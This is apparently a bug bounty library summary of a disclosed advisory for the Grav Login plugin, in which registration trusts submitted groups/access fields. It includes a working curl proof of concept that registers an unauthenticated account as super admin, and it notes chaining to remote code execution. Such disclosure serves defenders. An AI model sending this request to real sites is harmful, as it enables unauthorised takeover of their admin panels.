# Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access

Grav Login plugin register() trusts attacker-supplied groups/access POST fields, letting an unauthenticated user self-register as super admin.

- Payout: Research
- Severity: critical
- Program: Grav
- Found by: Baikuya
- Disclosed: 2026-05-05
- CVE: CVE-2026-42613
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-pxm6-mhxr-q4mj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pxm6-mhxr-q4mj
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:auth-bypass vuln:privilege-escalation

**Target:** Login plugin registration endpoint (/user_register)
**Root cause:** register() only applies config default groups/access when the keys are absent from POST data, and validateField() has no case for groups/access, so attacker values pass through unvalidated and are saved to the user object.
**Steps:**
1. Enable user_registration and add `groups`/`access` to the allowed `fields` list in login.yaml.
2. POST to `/user_register` with `data[username]`, `data[password1]`, `data[password2]`, `data[email]`, `data[fullname]`, plus `data[groups][]=admins`, `data[access][admin][login]=true`, `data[access][admin][super]=true`, `data[access][site][login]=true`, and valid `form-nonce`/`__form-name__`/`__unique_form_id__`.
3. Resulting account YAML contains groups: [admins] and access.admin.super: true.
4. Log into `/admin` with the new account for super-admin access.
**How found:** Code review of register()/validateField(): noticed the `!isset()` guard means attacker-supplied keys bypass config defaults, and the validateField switch lacks groups/access cases.
**Exploitation:** Unauthenticated attacker submits a crafted registration form including privilege fields; the account is persisted with super-admin access, granting full admin panel control and chaining to RCE via known admin vectors or plugin upload.
**Escalation:** Admin panel access chains to RCE via GHSA-4fg4-8cr8-326m or plugin upload.
**Insight:** When a framework fills defaults only on missing keys, any field the admin can add to an allowlist becomes attacker-writable; check whether the validator's switch actually covers every allowlisted field.

## Proof of concept (copied exactly from the original report)

**Malicious registration request injecting admin groups/access**

```
curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email]=attacker@evil.com" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"
```

